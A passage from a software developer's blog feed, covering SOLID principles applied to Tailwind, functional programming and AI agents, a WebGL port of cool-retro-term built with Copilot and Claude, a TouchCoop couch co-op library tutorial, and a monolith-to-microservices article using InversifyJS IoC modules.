This one is more subtle in Tailwind, but it's there. When you use Tailwind's design tokens (e.g., text-primary, bg-surface, or spacing values like p-4), you're depending on an abstraction rather than a concrete value. You don't write color: #3B82F6 directly. You write text-blue-500, which is an abstraction that points to a value defined in your configuration. If you change your blue from #3B82F6 to #2563EB in the config, every component that depends on blue-500 gets updated automatically. Your components depend on the abstraction (the token), not the concretion (the hex value).

2. Functional Programming

I've always found the relationship between SOLID and functional programming fascinating. Mark Seemann wrote something that stuck with me years ago:

"If you take the SOLID principles to their extremes, you arrive at something that makes Functional Programming look quite attractive."

I referenced this quote in my post about the state of dependency inversion in JavaScript, and it's something I still think about. The SOLID principles don't require classes or interfaces to be meaningful. They show up naturally in well-written functional code.

S — Single Responsibility Principle

In functional programming, the single responsibility principle is baked into the philosophy. Pure functions do one thing: they take an input and produce an output with no side effects. A function like const double = (x) => x * 2 has a single, clear responsibility. The entire functional paradigm pushes you towards small, composable functions that each do one thing well. When people talk about "Unix philosophy" — do one thing and do it well — they are really talking about single responsibility.

O — Open/Closed Principle

In functional programming, functions are closed for modification by default because pure functions are immutable transformations. You can't go in and change what map does. But you can extend behaviour by composing functions together. Higher-order functions are the ultimate open/closed mechanism: pipe(validate, transform, serialize) lets you extend a pipeline without modifying any of the individual functions. Function composition is extension without modification.

L — Liskov Substitution Principle

In functional programming, this manifests as the ability to swap one function for another as long as it respects the same type signature. If a pipeline expects a function (a) => b, you can substitute any function that satisfies that contract. This is exactly what makes functional programming so powerful for testing as well. You can replace a function that reads from a database with a function that returns mock data, and the rest of your pipeline doesn't care. Same signature, same contract, different implementation.

I — Interface Segregation Principle

Functional programming naturally avoids bloated interfaces because functions inherently have narrow, focused signatures. Instead of passing a God object with twenty properties to a function, you pass only what that function needs. A function (name: string) => string doesn't force you to provide an entire User object when all it needs is a name.

But there's a more subtle connection here that I find particularly compelling: the functional programming preference for unary functions (functions that take a single argument) over functions with multiple arguments is, in my opinion, a form of interface segregation.

Think about it. A function like (userId: string, includeOrders: boolean, formatAsCSV: boolean, sendEmail: boolean) => Result is the functional equivalent of one general-purpose interface. The caller is forced to know about and provide values for concerns it might not care about. Maybe I just want to fetch a user. Why do I need to tell the function whether to format as CSV or send an email? This function has a "fat interface" — it mixes multiple concerns into a single signature.

Now consider the unary alternative. Currying transforms that one fat function into a chain of focused, single-argument functions: (userId) => (options) => (formatter) => Result. Each function in the chain has a narrow, segregated interface. But more importantly, partial application lets you stop at any point in the chain and get back a specialised function that only demands what the next consumer actually needs. You can pass getUserById (already partially applied with default options) to a part of your code that only cares about fetching users and doesn't need to know formatting even exists.

This is interface segregation at the function level. Instead of one function with a wide, general-purpose parameter list, you get many smaller, focused functions, each requiring only what it needs from its caller. The parallel to "many client-specific interfaces are better than one general-purpose interface" is almost exact, just expressed through function signatures rather than interface declarations.

Libraries like Ramda take this philosophy to the extreme — every function is curried by default, which means every function in the library naturally presents the narrowest possible interface to its consumer at each step of application.

D — Dependency Inversion Principle

This one is beautiful in functional programming. Instead of depending on a concrete database module or HTTP client, functional code often takes its dependencies as function parameters. This pattern is so common it has a name: dependency injection via higher-order functions. Instead of importing a concrete implementation, you write const getUser = (fetchFn) => (id) => fetchFn(/users/${id}). Your business logic depends on the abstraction (a function that fetches), not the concretion (the specific HTTP library). The caller decides what implementation to inject.

3. AI Agent Development

This is the one that made me want to write this post. Over the last couple of years, I've been spending more and more time building and thinking about AI agents. I wrote about Agent Driven Development and the Agentic web previously, and one thing that keeps striking me is how the patterns that make agents work well are the exact same patterns we've been preaching in software engineering for decades. The SOLID principles aren't just relevant in AI agent development. They might be essential.

S — Single Responsibility Principle

The best agentic systems I've built or worked with follow this principle strictly. Each agent in the system should have a single, well-defined responsibility. A ResearchAgent should gather information. A SummaryAgent should condense findings into a concise output. A CodeReviewAgent should analyse code for issues. When you build one God agent that researches, summarises, writes code, reviews it, sends emails, AND updates a project tracker, the quality of every single one of those tasks degrades. The agent tries to be everything and ends up being mediocre at all of it. Single responsibility for agents isn't just good architecture; it directly affects the quality of the AI's output. Smaller, focused agents produce better results because the system prompt, the context window, and the reasoning are all concentrated on one job.

O — Open/Closed Principle

A well-designed multi-agent system is one where you can add new agents without modifying the existing orchestration logic. The orchestrator that coordinates your agents should be closed for modification. You shouldn't have to rewrite the routing or coordination logic every time you need a new capability. Instead, you register a new specialised agent with its description and responsibilities, and the orchestrator can start delegating to it. The existing agents remain untouched. This is exactly the philosophy behind frameworks like LangGraph, CrewAI, and the Model Context Protocol (MCP) — they let you extend the system by plugging in new agents or servers rather than modifying the ones that already work.

L — Liskov Substitution Principle

In a multi-agent system, you should be able to swap one agent for another as long as it fulfils the same contract. If your orchestrator delegates summarisation to a SummaryAgent, you should be able to replace that agent with an improved version — perhaps one powered by a different model, or one that uses a different prompting strategy — without the orchestrator knowing or caring. The contract is: "give me text, I'll give you a summary." How the agent internally achieves that is its own business. This is also why it matters to have clean interfaces between agents. If your SummaryAgent can be backed by GPT-4, Claude, or a fine-tuned local model, and the rest of the system works regardless, you've achieved Liskov substitution at the agent level.

I — Interface Segregation Principle

When designing agentic systems, it's far better to have many focused agents than one Swiss Army knife agent. You should have a DataExtractionAgent, a ValidationAgent, and a FormattingAgent rather than one monolithic DataProcessingAgent that tries to handle everything based on a mode parameter. Why? Because each agent can have a tightly scoped system prompt, a focused set of examples, and a narrow context window. The LLM performs better when it has a clear, specific job. A general-purpose agent with a system prompt that reads like a novel ends up confused about which hat it's supposed to be wearing at any given moment. This is interface segregation applied to AI: many specialised agents with narrow responsibilities are better than one general-purpose agent that does everything poorly.

D — Dependency Inversion Principle

This is critical in agent architecture. Your orchestrator should depend on abstractions of agents, not on concrete implementations. If your orchestration logic is tightly coupled to a specific agent that uses a specific model with a specific prompt template, you've made the whole system rigid. Instead, define what an agent looks like in abstract terms — it takes an input, it returns an output, it has a description of what it does — and let the orchestrator depend on that abstraction. The concrete agent (which model it uses, how it prompts, what tools it has access to) is an implementation detail that gets injected. Tomorrow you might want to replace your Claude-powered ResearchAgent with one that calls a specialised fine-tuned model, or even a non-LLM heuristic agent. If your orchestrator depends on the abstraction, that swap is trivial. This is the same principle I was advocating for with InversifyJS years ago, and it's exactly the approach taken by agent frameworks that separate the agent interface from the agent implementation.

Full Circle

I find it remarkable that the same five principles Robert C. Martin articulated decades ago for object-oriented design show up, without being forced, in a CSS utility framework, in functional programming, and in the way we're building AI agents in 2026. They weren't invented for OOP. They were discovered as properties of well-designed systems.

I wrote The problem with Dogma in Software a few years ago, and I still stand by it. We should never apply any principle dogmatically. But I think the SOLID principles have earned their place as something deeper than just "OOP best practices". They are universal design principles about managing complexity, achieving composability, and building systems that can evolve over time.

Whether you're styling a button with Tailwind, piping functions together in Haskell, or orchestrating a fleet of specialised AI agents — if the design feels clean and maintainable, there's a good chance the SOLID principles are hiding in there somewhere, whether you invited them or not.

Thanks for reading. I'd love to hear your thoughts!

Running the Copilot CLI in a WebGL-powered retro CRT terminal implemented by the Copilot CLI 🤯

Remo H. Jansen — Fri, 30 Jan 2026 23:33:50 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

A port of Swordfish90/cool-retro-term (Qt and OpenGL) to WebGL, React, and Electron, and use to make my website look like a cool retro monochrome CRT monitor with an OS from 1977.

Demo

https://remojansen.github.io/

Please note: The site is meant to be used with a keyboard (no mouse or touch controls).

My Experience with GitHub Copilot CLI

I first had the idea of building a website that looks like an old-style monochrome CRT monitor when I discovered Swordfish90/cool-retro-term. I loved it, but the problem is that cool-retro-term is a native application that uses Qt & OpenGL. I wondered if it would be possible to port the code to WebGL, but because I have no experience with Qt or OpenGL, answering this question would have taken me many hours.

In the past, I wouldn't have pursued this project because I didn't have much time outside of work, but now, thanks to GitHub Copilot and its CLI, I was able to get a good understanding of how cool-retro-term works and put together a migration plan in minutes.

Then, over a couple of evenings, I started to migrate the OpenGL shaders to WebGL one at a time, and soon I had a working port 🎉

The original project (cool-retro-term) implemented an OpenGL frontend for an OS terminal. My website runs in a browser, so I had to implement a basic terminal emulator, and Copilot was able to do so without any problems.

Because the rendering was decoupled from the terminal, I thought others could be interested in this as a library, so I released it as cool-retro-term-webgl, and I also thought that the most likely next usage would be an Electron-based version of cool-retro-term so I also added that to cool-retro-term-webgl.

Now I can run the Copilot CLI in a WebGL-powered retro CRT terminal implemented by the Copilot CLI 🤯

I was very happy with everything that I was able to accomplish in just a couple of days, and quite impressed by the power of the GitHub Copilot Agents together with Claude Opus 4.5. It was then that the fan really started. I started to add all sorts of cool and fun "programs" to my terminal emulator, and honestly, I have not had so much fun coding in a very long time.

There are a couple of fun easter eggs and nerdy references. I hope you enjoy them (maybe you can "hack" my cluster 😉).

Turning Your Living Room into a Couch Co-op Arena with TouchCoop

Remo H. Jansen — Mon, 19 Jan 2026 03:11:10 +0000

Hey everyone 👋,

Today I want to share something fun. Imagine this: you're at home with friends, the big TV is on, and instead of everyone fighting over Bluetooth controllers or passing around one gamepad… everyone just pulls out their phone and instantly becomes a player.

No accounts. No installs. Just scan a QR code and start mashing buttons.

That's exactly what TouchCoop enables — a tiny TypeScript library that turns this vision into reality with almost zero server hassle.

Host runs the game on a laptop/TV-connected browser
Up to 4 players join via QR code on their mobiles
Touch buttons on phone → real-time input to the game via WebRTC
Perfect for casual games: platformers, party games, local puzzles
Not suited for low-latency games like FPS (WebRTC latency is good but not esports-level)

Quick architecture overview

Your game needs two distinct entry points (URLs):

The Match page (TV/Laptop): Creates a Match instance, shows QR codes for joining, and receives player events.
The Gamepad page (Phone): Opened via QR code, creates a Player instance, connects, and sends touch events.

Both are just static web pages — no backend required beyond the signaling phase.

Getting started in 60 seconds

Install the library:

npm install touch-coop

1. The Match side (your game)

import { Match, PlayerEvent } from "touch-coop";

const gamePadURL = "https://your-domain.com/gamepad";  // Must be absolute URL for QR

function handlePlayerEvent(event: PlayerEvent) {
  switch (event.action) {
    case "JOIN":
      console.log(`Player ${event.playerId} joined 🎉`);
      // Maybe spawn player avatar, play sound, etc.
      break;
    case "LEAVE":
      console.log(`Player ${event.playerId} left 😢`);
      break;
    case "MOVE":
      console.log(`Player ${event.playerId} → ${event.button}`);
      // Here you map "up", "A", "X" etc. to game actions
      if (event.button === "up") jumpPlayer(event.playerId);
      break;
  }
}

const match = new Match(gamePadURL, handlePlayerEvent);

const { dataUrl } = await match.createLobby(
  gamePadURL, handlePlayerEvent
);

Call match.createLobby() to get the dataUrl of a QR Code that displays a virtual gamepad.

2. The Gamepad side (React example)

import React, { useEffect, useState } from "react";
import { Player } from "touch-coop";

const player = new Player(); // Can pass custom PeerJS config too

export default function GamePad() {
  const [loading, setLoading] = useState(true);

  useEffect(() => {
    (async () => {
      try {
        await player.joinMatch("Player Name Here");
        setLoading(false);
      } catch (err) {
        console.error("Failed to join", err);
      }
    })();
  }, []);

  if (loading) return <div className="text-2xl">Connecting...</div>;

  return (
    <div className="grid grid-cols-3 gap-4 p-8 h-screen bg-black text-white">
      <button className="btn" onClick={() => player.sendMove("up")}>↑</button>
      <button className="btn" onClick={() => player.sendMove("left")}>←</button>
      <button className="btn" onClick={() => player.sendMove("right")}>→</button>
      <button className="btn col-start-2" onClick={() => player.sendMove("down")}>↓</button>

      <div className="col-span-3 flex justify-around mt-8">
        <button className="btn bg-green-600" onClick={() => player.sendMove("A")}>A</button>
        <button className="btn bg-blue-600" onClick={() => player.sendMove("B")}>B</button>
        <button className="btn bg-red-600" onClick={() => player.sendMove("X")}>X</button>
        <button className="btn bg-yellow-600" onClick={() => player.sendMove("Y")}>Y</button>
      </div>
    </div>
  );
}

Live demo & try it yourself

The original project has a nice little demo:

→ https://SlaneyEE.github.io/touch-coop/demos/match.html

Final thoughts

TouchCoop is a beautiful example of how far browser APIs have come: WebRTC + TypeScript + modern build tools = couch co-op without native apps or complex backends.

If you're building casual multiplayer experiences or party games give it a try.

Have you built (or are you planning to build) a couch co-op game? Drop a comment below — I'd love to hear your multiplayer war stories or see links to your projects!

Happy coding, and see you in the comments ✌️

Claude Opus 4.5 changes everything

Remo H. Jansen — Thu, 08 Jan 2026 23:21:22 +0000

Experimenting with AI-Generated Code in 2025

Before I begin, I would like to clarify my position. I'm one of those people who believe that AGI will happen. I don't know when, but I believe that while the human mind and consciousness are extraordinarily complex, they are ultimately governed by the physical laws of the universe and can therefore be simulated. Someday AGI will be a reality. How far are we? I have no idea, and I don't care.

What I do care about is how the current growing capabilities of LLMs will impact what has been the source of income for my family for the last 15 years. So I have been keeping an eye on emerging tools, workflows, and new approaches to software engineering. For over two years, I have been using GitHub Copilot extensively with multiple models, coding agents, and custom agents, and for the most part it has been hit and miss.

I usually ask GitHub Copilot to implement a feature or fix a bug using the chat or coding agent, and a lot of times it would go very wrong. I have developed the habit of staging changes before each prompt, code reviewing changes for each prompt as I go along, and rolling back via git when I'm not happy with the solution. Working like this for a while means that I have been able to develop a sense of what kinds of things will work and how to break problems into steps that make it more likely that the AI agent will do what I expect.

I know some developers feel like AI agents are taking the joy of coding away from them, but I do not feel that way because it has allowed me to spend more time developing features. I feel like finding the root cause of bugs (even when I end up fixing them manually) is one of the things that LLMs can be very good at. As a result, I find myself spending way less time debugging.

Another thing, in my opinion, that is better is that I have to deal less with "repetitive tasks". After 15 years in the sector, I find that these days I enjoy spending more time trying to understand the business problem and designing a solution than actually implementing it. Once I have designed the API contracts, boundary contexts, database schema, etc., the implementation becomes very much grunt work—something that I feel I have done so many times that it is no longer enjoyable. So in 2025, I spent much more time doing code reviews and technical specs (for the LLMs) and less on implementation.

Do I feel like I have become more productive in 2025? Not really—maybe a little bit, but not a lot. I would say overall, a task took more or less the same time, but I spent more time thinking about the problem and doing verification than doing implementation.

Experiencing Claude Opus 4.5 for the First Time

It was at this point that the Christmas holidays arrived, and I happened to have unlimited Claude Opus 4.5 tokens for a couple of weeks. So I decided to work on some old side projects that I never had time to finish.

One of the projects was quite obsolete; I had not worked on it for a very long time. It originally used Create React App, but I knew that it had since been deprecated, so the first thing I did was to ask Claude to plan a migration from Create React App to Vite. I was quite impressed by the quality of the plan, so I asked it to go ahead, and 3 minutes later, I had everything working as expected.

I also had plans to make the web app work as a mobile app via Capacitor and as a desktop app via Electron. The problem is that on each platform I would have to use different native APIs—for example, to store user progress (the app is a game). On the web I use local storage, in Node.js the fs module, and in mobile apps SQLite. I needed Opus to implement an interface and implementations for each platform, then implement the builds for web, Windows, Mac, Linux, Android, and iOS. In about 10-15 minutes I had a working version. I tested it and encountered some small issues. I wanted the app to be full screen, and in Electron it was not using the entire screen, but after one or two prompts everything was done.

I was already quite impressed because when I reviewed the changes I didn't spot anything too bad. These were complex tasks, and Claude Opus 4.5 was getting them done one prompt at a time. The most impressive part is that I didn't have to explain how I wanted it done. I explained why I needed something and let the planning agent do all the planning for me. Now I only had to spend time doing code reviews, and because the code was fairly good, I was moving very fast.

I started to ask for features, and I was able to get over 10 features in one morning. I also tried Claude on a project really outside of my comfort zone. I wanted to migrate an OpenGL app to WebGL from Qt to TypeScript. I was able to implement the migration just the way I wanted in half a morning. Suddenly, when you are running 6 AI agents in parallel, it is like freaking horizontally scaling yourself. While the agents implement a set of features, you review the previous set and spend some time thinking about the next set. You feel like you are truly being much more productive.

The holidays passed, and on the 31st of December at midnight my unlimited tokens came to an end. It is now January, and when I tried to code without it, I felt like the other models seemed dumb in comparison. The joy of developing a product for me is not in coding the product—don't get me wrong, I love coding—but the true joy comes from seeing people enjoying it. With Claude Opus 4.5, I can deliver more products and more features than ever before. I can focus on listening to my users and not have to suffer all the repetitive and tedious stuff. Will the code be as good as NASA's or as beautiful as poetry? No, but it will certainly be good enough to delight users, and for me, that is enough.

I'm now looking at the higher-tier Claude subscription and thinking to myself that, considering what I have experienced, it is actually reasonable. I think Claude Opus 4.5 changes everything, and it makes me both very excited and very anxious. Excited because now developers will be able to build things that were not possible before because they required too much effort. This is going to be particularly noticeable in open source. We will soon see really powerful open source solutions (that are not just libraries) that can compete with big SaaS players. Anxious because it is hard to see how this is not going to impact job security in the long run.

Note: What I’m describing above is not vibe coding. I still review every change, work in feature branches, run CI/CD pipelines, and understand the code that ships. This is agent-driven software engineering, not blind prompt-and-pray development.

Have you tried Opus? What is the most impressive use case you have experienced?

In my next post I will talk about how I plan to combat my anxious thoughts about my career as a software engineer and focus my energy on the exciting ones.

I have open-sourced a WebGL front-end for your terminal that emulates a CRT monitor

Remo H. Jansen — Sat, 03 Jan 2026 00:11:53 +0000

I'm thrilled to announce that I've open sourced cool-retro-term-webgl, a modern WebGL-based recreation of the beloved cool-retro-term terminal emulator!

For years, developers and retro computing enthusiasts have loved cool-retro-term by Filippo Scognamiglio (Swordfish90) — a Qt-based terminal that perfectly mimics the look and feel of old cathode ray tube (CRT) monitors, complete with scanlines, glow, and that nostalgic flicker.

I wanted to bring those authentic retro effects to the web and modern applications. The original is built in QML and C++, so I set out to port the shader magic to WebGL, making it usable in browsers, web apps, and even native desktop apps via Electron.

The result? A lightweight, high-performance CRT renderer that integrates seamlessly with XTerm.js.

Key Features

Authentic retro CRT effects powered by WebGL:
- Screen curvature and distortion
- Phosphor glow and bloom
- Scanlines and rasterization
- RGB chromatic aberration
- Flicker, static noise, and burn-in persistence
- Horizontal sync jitter
Two packages in a monorepo:
- cool-retro-term-renderer: The core library for adding CRT effects to any XTerm.js instance.
- cool-retro-term-electron: A full-featured desktop terminal app built with Electron, supporting real shell processes via node-pty.

Here's a glimpse of the retro magic in action:

Live demo https://remojansen.github.io/

Try the Desktop App

Download the Mac binary

The project is licensed under GPL-3.0, just like the original.

Check out the repo: https://github.com/remojansen/cool-retro-term-webgl

Thanks to Swordfish90 for the original inspiration.

Building a Retro CRT Terminal Website with WebGL and GitHub Copilot (Claude Opus 4.5)

Remo H. Jansen — Sun, 28 Dec 2025 02:10:00 +0000

During the holidays, I was browsing the internet when I came across cool-retro-term, an open-source terminal that mimics the visuals of old cathode ray tube (CRT) displays.

I loved the look of it—it has an awesome retro sci-fi atmosphere that reminds me of the Alien and Fallout fictional universes. I thought it would be amazing if I could make my personal website look like that. I took a look at the source code and quickly realized that it's implemented using QML and C++. I'm not experienced with either, so I wondered if it would be possible to port it to web technologies using either WebGL or Emscripten. I asked GitHub Copilot, and it advised me to try the WebGL route because there were fewer technical challenges involved.

Understanding the Architecture

I have no experience with QML, but I have worked with Three.js in the past. I don't have a deep understanding of how shaders work internally, but with the help of GitHub Copilot, I was able to understand the architecture of the original source code. I cloned the repo, added a new web directory, and started providing instructions to Claude. The original application has two sets of shaders: the first one handles the static frame, and the second one is a series of effects that are influenced by the current time.

Step 1: The Static Frame

I started by asking Claude to implement the static frame using Three.js while ignoring the terminal emulation for now. This gave me a foundation to build upon without getting overwhelmed by complexity.

Step 2: Text Rendering

The second step was to ask Claude to render some basic text from a hardcoded text file in the Three.js scene using the appropriate retro font.

Step 3: Migrating the Visual Effects

Then I started to migrate the visual effects—starting with the background noise and then moving on to the other effects:

Bloom – A glow effect that makes bright areas bleed into surrounding pixels
Brightness – Controls the overall luminosity of the display
Chroma Color – Adds color tinting to simulate phosphor characteristics
RGB Shift – Separates color channels slightly to mimic CRT color misalignment
Screen Curvature – Warps the image to simulate the curved glass of old monitors
Burn-In – Simulates phosphor burn-in from static images left on screen too long
Flickering – Adds subtle brightness fluctuations like real CRT displays
Glowing Line – Renders a scanning beam effect moving across the screen
Horizontal Sync – Simulates horizontal sync issues causing image distortion
Jitter – Adds small random movements to simulate signal instability
Rasterization – Renders visible scan lines characteristic of CRT displays
Static Noise – Adds animated noise/grain to the image

At this point, there were some visual bugs that required a bit of trial and error until the LLM was able to fix them without introducing new issues. The main one was a problem related to the position of the screen reflections.

Step 4: Integrating Xterm.js

Once I was able to get the terminal frame and the effects ported from OpenGL to WebGL, I asked the LLM to replace the hardcoded text with the output of Xterm.js. Xterm.js is an open-source project designed to be a web-based front-end for terminals. It's used in tools like Visual Studio Code because VS Code is a web application that runs inside Electron—Xterm.js is the front-end within VS Code that accesses a real terminal instance on your machine.

In my case, I don't need a real terminal, so I asked Claude to create a terminal emulator with a bunch of basic commands such as clear, ls, cd, and cat.

Step 5: Building Games

At this point, everything was almost complete, so I asked Claude to implement multiple text-based games. I implemented games like Pong, Tetris, Snake, Minesweeper, Space Invaders, and Arkanoid—and most of them worked almost perfectly on the first attempt. Some of the games experienced minor visual issues, but I was able to solve everything by describing the issue in detail to Claude and what I thought was the root cause.

Step 6: Adding Media Playback with ffplay

I also wanted to add support for playing audio and video files directly in the terminal, similar to how ffplay works in a real terminal. I asked Claude to implement an ffplay command that could render video with all the effects previously implemented.

Step 7: Refactoring and Publishing

The final step was to ask Claude to refactor the code to clearly separate the library code (the WebGL retro terminal renderer) from my application code (the terminal emulator and games). The goal was to publish the WebGL terminal renderer as a standalone npm module, and Claude was able to do it with zero issues in just one attempt.

Conclusion

Overall, the entire implementation took around 10–15 hours. Without an LLM, it would have taken me several weeks. I think this project has been an interesting way to demonstrate how powerful LLMs can be as development tools—especially when working with unfamiliar technologies like shader programming.

By the end of the experiment, I consumed about 50% of my monthly GitHub Copilot for Business tokens ($21/month), which means the entire project cost me roughly $10.50. When you consider that this would have taken weeks of work otherwise, the cost savings enabled by Claude Opus are absolutely insane.

If you're curious, you can check out the result at https://remojansen.github.io/ or browse the source code on GitHub.

From Monolith to Microservices without changing one line of code, thanks to the power of Inversion of Control (IoC)

Remo H. Jansen — Mon, 01 Dec 2025 03:08:56 +0000

In this article, we will explore how to transition from a monolithic architecture to a microservices architecture without refactoring any existing code. We will leverage the power of the Onion/Clean architecture to achieve this goal.

Note: While we will not change the existing code, we will add a small amount of new code to the application and significantly increase the complexity of the CI/CD pipeline.

Prerequisites

In the past, I have written extensively about the Onion/Clean architecture, so if you are not familiar with it, I recommend reading the following articles first:

1. Start with a Monolith and the Onion/Clean Architecture

To begin, we will start with a monolithic application that follows the Onion/Clean architecture principles. This application will have a well-defined separation of concerns, with distinct layers for domain models, domain services, application services, and infrastructure.

When working on a greenfield project, you should always implement a Monolithic first, even if you plan to transition to microservices later. It is very hard to predict the right service boundaries upfront.

If it is a new project there are some major risks derived from the fact that there are a lot of unknowns both in terms of technical implementation as well as business requirements. There is also added complexity that comes with a microservices architecture, such as inter-service communication, data consistency, and deployment strategies. As an engineer you want to reduce over exposure to risks as much as possible. Starting with a monolith allows you to focus on building the core functionality of your application without the added complexity of managing multiple services from the outset.

Note: Service boundaries are the boundaries that define the scope of a microservice. They determine what functionality and data a microservice is responsible for.

In my case I started to work on a project that I knew that I wanted to eventually split into microservices. So I started with a monolith that followed the Onion/Clean architecture principles. Because I knew that I wanted to split the application into microservices later, I made sure to keep the service boundaries in mind while designing the monolith. This meant that I designed the domain models and services in a way that would make it easy to extract them into separate services later on. Here are some of the rules I followed while designing the monolith:

Each boundary will use its own database schema (if using a relational database).
No database transactions, joins or foreign keys that involve multiple schemas (boundaries).
Calls from one boundary to another would always be http calls, even though in the monolith it would be possible to make direct calls. To do this we don't use URLs like http://localhost:8080/api/xxxx. We use services URLs like http://service-name:8080/api and use a reverse proxy to route the requests to the correct service. In the monolith all services run in the same process, so the reverse proxy routes the requests to the same process.

How does the reverse proxy work? In local development and in the monolith deployment, we use a reverse proxy (like Nginx or Traefik) that routes all service URLs (e.g., http://auth-service:8080/api, http://cms-service:8080/api) to the same monolith process. The service names are just DNS aliases that all resolve to the same host. When we transition to microservices, we simply update the reverse proxy configuration (or use Kubernetes service discovery) so that each service name resolves to its own dedicated container. The application code remains unchanged—only the infrastructure routing changes that are configured outside of the application.

Keep database migrations split by schema so you can migrate CI/CD to using multiple databases with ease later on.

These rules ensured that the monolith was designed to make it easy to extract its boundaries into separate services later.

The application I'm sharing as an example is a CMS with asset management and multi-tenant capabilities. The directory structure of the monolith looked like this:

src
├── app-services // These are not aware of infrastructure details
│   ├── auth
│   ├── cms
│   ├── dam
│   ├── email
│   ├── logging
│   └── tenant
├── domain-model
│   ├── auth
│   ├── cms
│   ├── dam
│   └── tenant
├── index.ts // Monolith composition root
└── infrastructure // These are aware of infrastructure details
    ├── blob
    ├── db
    │   ├── repositories // db queries implementations
    │   │   ├── auth
    │   │   ├── cms 
    │   │   ├── dam
    │   │   └── tenant
    │   └── db.ts
    ├── email
    ├── env
    ├── http
    │   ├── controllers // http layer implementations
    │   │   ├── auth
    │   │   ├── cms
    │   │   ├── dam
    │   │   └── tenant
    │   ├── middleware
    │   └── server.ts
    ├── ioc
    │   ├── index.ts
    │   └── modules // IoC modules for each boundary
    │       ├── asset-management-ioc-module.ts
    │       ├── auth-ioc-module.ts
    │       ├── infrastructure-ioc-module.ts
    │       ├── template-management-ioc-module.ts
    │       ├── content-management-ioc-module.ts
    │       └── tenant-ioc-module.ts
    ├── logging
    └── secrets

As you can see the directory structure is organized as a monolith there are not separate root directories for each micro service. The onion architecture splits the application into layers, and each layer has its own responsibility. The infrastructure layer is responsible for the implementation details, such as database access, email sending, and logging. The application services layer is responsible for the business logic of the application. The domain model layer is responsible for the domain entities and value objects.

Note: If you want to learn more about the Onion/Clean architecture, I recommend reading my previous articles linked in the prerequisites section.

The layers remain decoupled from each other, at design and compile time. However, at runtime, the inversion of control (IoC) container resolves the dependencies and wires everything together. In order to achieve this, the
IoC containers needs to be aware of link between interfaces and implementations across all layers. These links are known as bindings.

It is important to understand and highlight the Inversion of Control (IoC) principle here. The IoC principle states that the control of the flow of the application should be inverted. In other words, you stop deciding "when" and "how" an object gets its dependencies. Instead, something external (in our case, the IoC container) gives (injects) the dependencies to your object. The IoC container is responsible for resolving the dependencies and wiring everything together at runtime.

With InversifyJS (my IoC container of choice for TypeScript projects) we can organize these bindings into IoC modules. Each module is responsible for binding the interfaces to their implementations for a specific boundary or layer. The following is an example of an IoC module for some infrastructure concerns:

// ...

export const infrastructureIocModule = new ContainerModule((options) => {
    const { bind } = options;
    // Singleton that manages Azure Key Vault connections
    bind<SecretsManager>(SecretsManagerSymbol)
        .to(SecretsManagerImplementation)
        .inSingletonScope();

    // Singleton that manages DB connections
    bind<DatabaseConnectionManager>(DatabaseConnectionManagerSymbol)
        .to(DatabaseConnectionManagerImplementation)
        .inSingletonScope();

    bind<AppSecrets>(SecretsSymbol)
        .toDynamicValue(async (context) => {
            const secretsManager =
                await context.getAsync<SecretsManager>(SecretsManagerSymbol);
            await secretsManager.initialize();
            return secretsManager.secrets;
        })
        .inSingletonScope();

    bind<UnitOfWork>(UnitOfWorkSymbol)
        .to(UnitOfWorkImplementation)
        .inSingletonScope();

    bind<DbClient>(DbClientSymbol)
        .toDynamicValue(async (context) => {
            const databaseConnectionManager =
                await context.getAsync<DatabaseConnectionManager>(
                    DatabaseConnectionManagerSymbol,
                );
            return await databaseConnectionManager.getDbClient();
        })
        .inRequestScope();

    bind<EmailService>(EmailServiceSymbol)
        .to(EmailServiceImplementation)
        .inRequestScope();

    bind<Logger>(LoggerSymbol).to(LoggerImplementation).inSingletonScope();

    bind<BlobStorage>(BlobStorageSymbol).to(BlobStorageImplementation);
});

This module binds various infrastructure services, such as the secrets manager, database connection manager, email service, and logger. Because these services are used across multiple boundaries, it makes sense to have them in a separate infrastructure IoC module. This IoC module can be considered a platform module, as it provides services that are used across multiple boundaries.

Then we have an IoC module for each boundary. The following is an example of an IoC module for the authentication & authorization boundary:

// ...

export const authIocModule = new ContainerModule((options) => {
    const { bind } = options;
    // Middleware
    bind<ExpressMiddleware>(AuthorizeMiddlewareSymbol).to(AuthorizeMiddleware);
    bind<ExpressMiddleware>(AuthenticateMiddleware).toSelf();

    // Controllers
    bind(AuthController).toSelf().inSingletonScope();

    // Repositories
    bind<UserRepository>(UserRepositorySymbol)
        .to(UserRepositoryImplementation)
        .inRequestScope();

    bind<VerifyRepository>(VerifyRepositorySymbol)
        .to(VerifyRepositoryImplementation)
        .inRequestScope();

    bind<ResetRepository>(ResetRepositorySymbol)
        .to(ResetRepositoryImplementation)
        .inRequestScope();

    // Services
    bind<AuthService>(AuthServiceSymbol)
        .to(AuthServiceImplementation)
        .inRequestScope();

    bind<PasswordHashingService>(PasswordHashingServiceSymbol)
        .to(PasswordHashingServiceImplementation)
        .inRequestScope();

    bind<AuthTokenService>(AuthTokenServiceSymbol)
        .to(AuthTokenServiceImplementation)
        .inRequestScope();

    bind<TwoFactorAppService>(TwoFactorAppServiceSymbol)
        .to(TwoFactorAppServiceImplementation)
        .inRequestScope();

    bind<TOTPService>(TOTPServiceSymbol)
        .to(TOTPServiceImplementation)
        .inRequestScope();
});

In the monolith, we only start one application server that handles all incoming requests for all boundaries. We can achieve this by using a single IoC container that loads all the IoC modules for all boundaries:

// ...

export function createContainer() {
    const container = new Container();
    container.load(
        ...[
            infrastructureIocModule,
            authIocModule,
            tenantIocModule,
            assetManagementIocModule,
            templateManagementIocModule,
        ],
    );
    return container;
}

In your application there should be a single point in which the layers are "composed" together. This is known as the composition root. In our case, the composition root is the IoC container. In the monolith, we create a single IoC container which means that we have one composition root for the entire application.

Finally, we run the monolith application by creating a server that uses the container:

import { createAppServer } from "./infrastructure/http/server";
import { createContainer } from "./infrastructure/ioc";
import "reflect-metadata";
import "dotenv/config";

const port = process.env.API_PORT || 3001;

export const defaultOnReady = () =>
    console.log(`Server started on http://localhost:${port}`);

export async function main(onReady: () => void) {
    const container = createContainer();
    const app = await createAppServer(container);
    app.listen(port, () => {
        onReady();
    });
}

(async () => {
    main(defaultOnReady);
})();

At this point, we have a fully functional monolith with well-defined boundaries. The key insight is that each boundary is encapsulated in its own IoC module, and all modules are composed together in a single container. Now we're ready to see how we can split this monolith into microservices without changing any of the existing code.

2. Transform into microservices by using one composition root per boundary

